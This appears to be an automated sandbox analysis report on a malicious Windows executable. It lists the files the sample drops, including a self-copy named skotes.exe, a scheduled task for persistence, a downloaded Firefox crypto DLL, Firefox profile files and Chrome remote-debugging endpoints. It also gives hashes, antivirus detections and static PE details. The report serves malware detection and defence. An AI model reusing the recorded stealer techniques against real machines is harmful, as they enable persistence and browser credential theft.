Category:	dropped
Size (bytes):	3206144
Entropy (8bit):	6.724601232117251
Encrypted:	false
SSDEEP:	49152:n74CN2m1F8RlpDvXLamzKXX7txpbLpiAMM2RrQauPxT3cr:74WF8RDDvXOMKpxpbN70uaep
MD5:	52B7DBCCDE53A06FE0163EFA59E1C0E1
SHA1:	19F83BD0A5E39911C10061F6D9B596717594C4A4
SHA-256:	25E8FAFC7A259E0D55F009E46C8D8156D38F8E35B7E58E85FB2040BEB39D9A15
SHA-512:	6805CB5C13C8479889AE347E96E98C3628C1A9F6188D4BA6EC1AF66F8AF2E27CBB8D83E6444EA94D96DBD84295D01BC109AC5C2FEE3BC8364475F9FD402605A9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@.......................... 1.......0...@.................................W...k...........................X.0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...ffwzukkx.0......0.................@...clkqzkfu......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.37706553794779
Encrypted:	false
SSDEEP:	48:SfNaoQluuTEQlufNaoQAA0QAnfNaoQpQNfNaoQoIz0UrU0U8Qoj:6NnQhTEQoNnQAA0QAfNnQpQ5NnQP0Urb
MD5:	66F13FA2B2E7A775D84AC641438C3C3A
SHA1:	F3924531FF49A22D7C777AAC0BD5C10CA4E0560F
SHA-256:	61B9EC65D7698DFEBA7A43F2A0CA3E3CF27F8CBC9EF2FCD1DCE62559E6537AA8
SHA-512:	F8820862DCA39B9EACB009FD239ADB0E20B04BCB29A4C80D81D765A87765FEC3C5F67447EE94FEECD3F950A339AA2DFEEAF57FA0338B8F74C9CD58786DE21ACE
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/8F2C98BA9A3BC749DA8ED05E47D67620",.. "id": "8F2C98BA9A3BC749DA8ED05E47D67620",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/8F2C98BA9A3BC749DA8ED05E47D67620"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/505142CE6E6E085D62E3C6D0CAEF5D84",.. "id": "505142CE6E6E085D62E3C6D0CAEF5D84",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/505142CE6E6E085D62E3C6D0CAEF5D84"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\EBAEBFIIEC.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3206144
Entropy (8bit):	6.724601232117251
Encrypted:	false
SSDEEP:	49152:n74CN2m1F8RlpDvXLamzKXX7txpbLpiAMM2RrQauPxT3cr:74WF8RDDvXOMKpxpbN70uaep
MD5:	52B7DBCCDE53A06FE0163EFA59E1C0E1
SHA1:	19F83BD0A5E39911C10061F6D9B596717594C4A4
SHA-256:	25E8FAFC7A259E0D55F009E46C8D8156D38F8E35B7E58E85FB2040BEB39D9A15
SHA-512:	6805CB5C13C8479889AE347E96E98C3628C1A9F6188D4BA6EC1AF66F8AF2E27CBB8D83E6444EA94D96DBD84295D01BC109AC5C2FEE3BC8364475F9FD402605A9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@.......................... 1.......0...@.................................W...k...........................X.0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...ffwzukkx.0......0.................@...clkqzkfu......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\EBAEBFIIEC.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3206144
Entropy (8bit):	6.724601232117251
Encrypted:	false
SSDEEP:	49152:n74CN2m1F8RlpDvXLamzKXX7txpbLpiAMM2RrQauPxT3cr:74WF8RDDvXOMKpxpbN70uaep
MD5:	52B7DBCCDE53A06FE0163EFA59E1C0E1
SHA1:	19F83BD0A5E39911C10061F6D9B596717594C4A4
SHA-256:	25E8FAFC7A259E0D55F009E46C8D8156D38F8E35B7E58E85FB2040BEB39D9A15
SHA-512:	6805CB5C13C8479889AE347E96E98C3628C1A9F6188D4BA6EC1AF66F8AF2E27CBB8D83E6444EA94D96DBD84295D01BC109AC5C2FEE3BC8364475F9FD402605A9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................0...........@.......................... 1.......0...@.................................W...k...........................X.0...............................0..................................................... . ............................@....rsrc...............................@....idata ............................@...ffwzukkx.0......0.................@...clkqzkfu......0.......0.............@....taggant.0....0.."....0.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\EBAEBFIIEC.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.4974846740621053
Encrypted:	false
SSDEEP:	6:+s5k/Zbs/DZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lWEt0:T6ulvJQ1CGAFMkXd8kX+VWEt0
MD5:	6079C973ECEF526F0BC3388FA7944CA9
SHA1:	6E13C1963C3AD4A8B36125BB1F77B12CAC0312C9
SHA-256:	F34AD29711C4FCA8FE06455126CA6DAA39812774BA4C82967B409E2EF230C78E
SHA-512:	8CBF1FC5BF94065C7039B6E5F3710D12CCB1ACBDB7E98F24ABC48D712506AB540515535A799E9EA9BF9F7C65D7F3724EF95A0FE519E3433CCD60DEAB6914CAF5
Malicious:	false
Preview:	.......{.._J..x.}..jF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2412)
Category:	downloaded
Size (bytes):	179299
Entropy (8bit):	5.547369532089825
Encrypted:	false
SSDEEP:	3072:eEBR1XAUw+9+in7oNRFhJpGOa9VMgoeSWInJ+LBIwK555ypuq/dP/JlpNMWzeAx+:eKR1tw+9+i7GFhJcOa/MgoeSWIJ+LBI/
MD5:	E51B78D04BF7FEADF2B7281088079FD5
SHA1:	47E0DCBBC95DA92A2B5E973C33200C3DD82E18A6
SHA-256:	7E8CC44AC8BED91DC83AF132CA1F374227C3A634F9020FFC66720C74A8DBAA53
SHA-512:	5377F671601862CBB506C1B33AA5F5ACAC2C451998C8A1A8E8C6754D2D11C96484483C081FB3A0407BAF1329D70F41ADE5CAB27993B6FA631384243BFC890813
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.b6tg1FFzATM.2019.O/rt=j/m=q_d,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTv_QWZGpfkLjSgGX6lavnloO0T86g"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.Yi=function(a){if(4&a)return 4096&a?4096:8192&a?8192:0};_.Zi=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var $i,aj,ej,hj,gj,cj,fj;$i=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};aj=function(){_.Na()};ej=function(a,b){(_.bj\|\|(_.bj=new cj)).set(a,b);(_.dj\|\|(_.dj=new cj)).set(b,a)};hj=function(a){if(fj===void 0){const b=new gj([],{});fj=Array.prototype.concat.call([],b).length===1}fj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.ij=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Fc};._.jj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.kj=function(a,b){a===0&&(a=_.jj(a,b));return a\|1};_.lj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.mj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.pj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.ij(a,b,d);var k=h[_

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (775)
Category:	downloaded
Size (bytes):	780
Entropy (8bit):	5.18239868187317
Encrypted:	false
SSDEEP:	24:pMM+ynnKRTgBHslgT9lCuABuoB7HHHHHHHYqmffffffo:pMM+QnqgKlgZ01BuSEqmffffffo
MD5:	7F3CF83657B01E85344A961A4C018EF2
SHA1:	4EBC97C45AC917647AE314D2D68BA6432E7571C7
SHA-256:	39EC3DCAAED9B90B2F9F133B3560FCDEE4BFDE1F43ABA2F1C0BA20DDA8778BA9
SHA-512:	DA85DB5355851B2F8282C5C26A7BB0A0ABBB0F7C102CBC43721DF017B459C3D86ABA952B1A74411629236327AE3774BDD35EAC2AE7220AE81B03D5DD93938E41
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["ncaa volleyball tournament bracket","storm darragh weather warnings","apple ios 18.2","unlock sirin 9mm bo6","unemployment jobs report","fifa club world cup draw","today wordle hints","indiana jones review great circle"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"google:suggestsubtypes":[[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362],[3,143,362]],"google:suggesttype":["QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY","QUERY"]}]

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	134253
Entropy (8bit):	5.441796739245776
Encrypted:	false
SSDEEP:	3072:fIkX33ov7GsG688fJbk/5xnsSLWjwR2i6o:fT3lr6t2/5xnsSawR8o
MD5:	961F7402B81328460DFA3F72EF492E50
SHA1:	645B4961D2DFE03746284CD5C02A3B666C62BC85
SHA-256:	26300D8982F5574311852E53C988773D11A20E4DE8EF2CA06D6DC5C578819CCD
SHA-512:	055F21A66EAF6BE93C3143D7B3A57DD34C221126EBBE77FBE538CDF0E8AA675D4106365B47DA92FB0924AE0493D52483FF613B234E28694B33CBCCC140A7E7A6
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.516919419564734
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	5'192'704 bytes
MD5:	2078aba4b222e2f98ba15dd2d129815a
SHA1:	ae20c88e9db1d4ec511d24148a58a180d476aac3
SHA256:	db02e1c041c72eba5685a97d036086cb9f1aada9415057bb25d88ff6a8c02e54
SHA512:	2159ed7997c143163cf0bfbbfcaa6536e3f690f378f160f425b87a2e18b7739dcd220528859dfd554def726d0b6ab0fc572335326f8313feb01a1742a4ba8377
SSDEEP:	49152:xxPIsFWO6yeSbMbyLiBMd/XU/QGsWPOIP6I+oG+ak4:x9IsUxyeSbBLied/XU/QFOOMN+TTN
TLSH:	2436F753B406A2FBD48B377C9477CD439E5E43B9072404C3E968A4BE6EA2CC6D1B6C25
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........PE..L...<.Jg...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8f4000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x674AE73C [Sat Nov 30 10:21:48 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F6970B6C3EAh
hint_nop dword ptr [edi+00h]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F6970B6E3E5h
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh
inc dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax*4], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+00000000h], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1f0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
